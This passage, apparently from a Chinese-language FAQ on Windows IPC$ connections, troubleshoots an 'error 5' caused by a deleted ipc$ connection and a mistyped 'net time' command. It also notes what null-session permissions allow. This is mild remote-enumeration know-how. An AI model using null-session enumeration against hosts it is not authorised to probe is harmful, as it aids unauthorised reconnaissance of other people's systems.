答:起初遇到這個問題的時候我也很納悶,錯誤 5表示許可權不夠,可是連空會話的許可權都可以完成上面的兩個命令,他為什麼不行呢?難道是他沒建立連線?後來那個粗心的同志告訴我的確是這樣,他忘記了自己已經刪了 ipc$ 連線,之後他又輸入了上面那兩個命令,隨之發生了錯誤 5 。

17. 您看看這是怎麼回事?

F:\>net time

找不到時間伺服器。

請鍵入 NET HELPMSG 3912 以獲得更多的幫助。

答:答案很簡單,你的命令錯了,應該是 net time \\ip

沒輸入 ip 地址,當然找不到伺服器。 view 的命令也應該有 ip 地址,即: net view \\ip